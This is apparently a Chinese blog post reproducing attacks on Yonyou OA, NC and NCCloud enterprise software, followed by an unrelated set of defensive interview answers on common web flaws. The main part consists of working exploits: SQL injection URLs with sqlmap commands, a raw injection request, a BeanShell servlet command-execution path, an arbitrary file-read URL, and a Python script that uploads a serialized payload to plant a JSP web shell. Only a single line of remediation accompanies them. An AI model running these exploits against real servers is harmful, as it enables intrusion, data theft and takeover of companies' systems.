用友OA/NC/NCCloud SQL注入任意文件上传和读取RCE复现渗透测试记录

简介

用友公司成立于1988年,全面提供具有自主知识产权的企业管理/ERP软件、服务与解决方案,是中国最大的管理软件、ERP软件、集团管理软件、人力资源管理软件、客户关系管理软件及小型企业管理软件提供商。

漏洞情况
用友OA_U8 存在SQL 注入
用友NCCloud FS文件管理 SQL 注入
用友NC bsh.servlet.BshServlet 远程命令执行
用友NC 任意文件上传 getShell

漏洞复现

1.用友 OA_U8 SQL 注入

poc

/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))

如果出现一下指纹 则存在sql注入点 注入点是 S1

用友sql注入指纹

直接使用SqlMap 进行检测

python sqlmap.py -u url/yyoa/common/js/menu/test.jsp?doType=101&S1=1 --random-agent -p S1 --dbs
2.用友 NCCloud FS文件管理 SQL 注入

poc

GET /fs/console?username=123&password=%2F7Go4Iv2Xqlml0WjkQvrvzX%2FgBopF8XnfWPUk69fZs0%3D HTTP/1.1
Host: xxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: JSESSIONID=2CF7A25EE7F77A064A9DA55456B6994D.server; JSESSIONID=0F83D6A0F3D65B8CD4C26DFEE4FCBC3C.server
Connection: close

使用sqlmap进行检测 注意替换host

python sqlmap.py -r yyoa.txt --random-agent --level 3 -p username --dbs
3.用友NC Bean Shell RCE
/servlet/~ic/bsh.servlet.BshServlet

出现如下回显在存在命令执行
用友Beanshell

使用 exec(“cmd”) 执行指令
eg:exec(“whoami”)

4.用友ERP-NC 任意文件读取

poc

/NCFindWeb?service=IPreAlertConfigService&filename=

用友任意文件便利

如回显如图则存在漏洞, 可以指定文件读取

eg: /NCFindWeb?service=IPreAlertConfigService&filename=index.jsp
5.用友NC 任意文件上传

poc

import requests

if __name__ == '__main__':
    url = 'http://xxxxx'
    uploadHeader = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
        "Referer": "https://google.com",
        "Content-Type": "multipart/form-data;boundary=a1b37aa941c9f61c034924dbf7e8b486",
    }
    uploadData = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78"
    dork = 'hello'
    uploadData += dork
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
    }
    try:
        vuln_url = url + '/servlet/FileReceiveServlet'
        response = requests.post(url=vuln_url, headers=uploadHeader, data=uploadData, timeout=12)
        if response.status_code == 200:
            check_url = url + '/t00ls.jsp'
            res = requests.get(check_url, headers=headers, timeout=12)
            if dork in res.text and res.status_code == 200:
                print("\033[32m[o] 目标 {}存在漏洞 ,检测成功 \033[0m".format(check_url))
        else:
            print("\033[31m[x] 请求失败 \033[0m")
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m")

访问查看 可getShell
成功写入

修复建议

升级版本 限制访问,补丁修复

注意:本文仅供学习参考,非法传播及使用产生的后果自行承担,与本文作者无关
  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
当面试官询问我SQL注入、XSS、文件上传以及RCE远程命令执行漏洞的相关知识时,你可以使用以下话术进行回答: 1. 面试官:请介绍一下SQL注入漏洞。 你:SQL注入是一种常见的web应用程序漏洞,攻击者通过在用户输入中插入恶意的SQL代码,成功绕过应用程序的输入验证,从而可以执行未经授权的数据库查询、修改或删除操作。为防止SQL注入攻击,我们需要对用户输入进行严格的验证和过滤,并使用参数化查询或预编译语句来防止恶意SQL代码的执行。 2. 面试官:请解释一下XSS漏洞。 你:XSS(跨站脚本)漏洞是一种允许攻击者将恶意脚本注入到web应用程序的漏洞。当用户浏览包含恶意脚本的页面时,这些脚本会在用户的浏览器上执行,导致攻击者能够窃取用户的登录凭证、修改页面内容或进行其他恶意操作。为了防止XSS攻击,我们需要对用户输入进行合适的验证和过滤,并使用安全的编码方式来输出数据,如HTML转义或使用Content Security Policy(CSP)来限制脚本的执行。 3. 面试官:请讲解一下文件上传漏洞。 你:文件上传漏洞是指在web应用程序中存在未正确验证用户上传文件的安全问题。攻击者可以通过上传带有恶意代码的文件,从而在服务器上执行恶意操作,如执行任意命令、获取敏感数据或远程控制服务器。为了防止文件上传漏洞,我们需要对用户上传的文件进行严格的验证和过滤,限制可上传文件的类型和大小,并在保存、读取和执行文件时采取适当的安全措施。 4. 面试官:请简要说明一下RCE远程命令执行漏洞。 你:RCE(远程命令执行)漏洞是一种允许攻击者在受影响的系统上执行任意命令的漏洞。攻击者通过利用应用程序中的安全漏洞,成功注入恶意代码并执行系统命令。这种漏洞可能导致攻击者完全控制受影响的系统,进行敏感数据的窃取、服务器崩溃等恶意行为。为了防止RCE漏洞,我们需要保持应用程序和服务器的补丁更新,进行输入验证和过滤,以及使用安全编码和访问控制机制来限制恶意代码的执行。 请记住,以上是对每种漏洞的简要解释,你可以根据自己的了解和经验进行适当的展开和补充。在回答问题时,尽量用简明扼要的语言表达,并展示你对漏洞原理和相关防御措施的深入理解。祝你面试顺利!

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值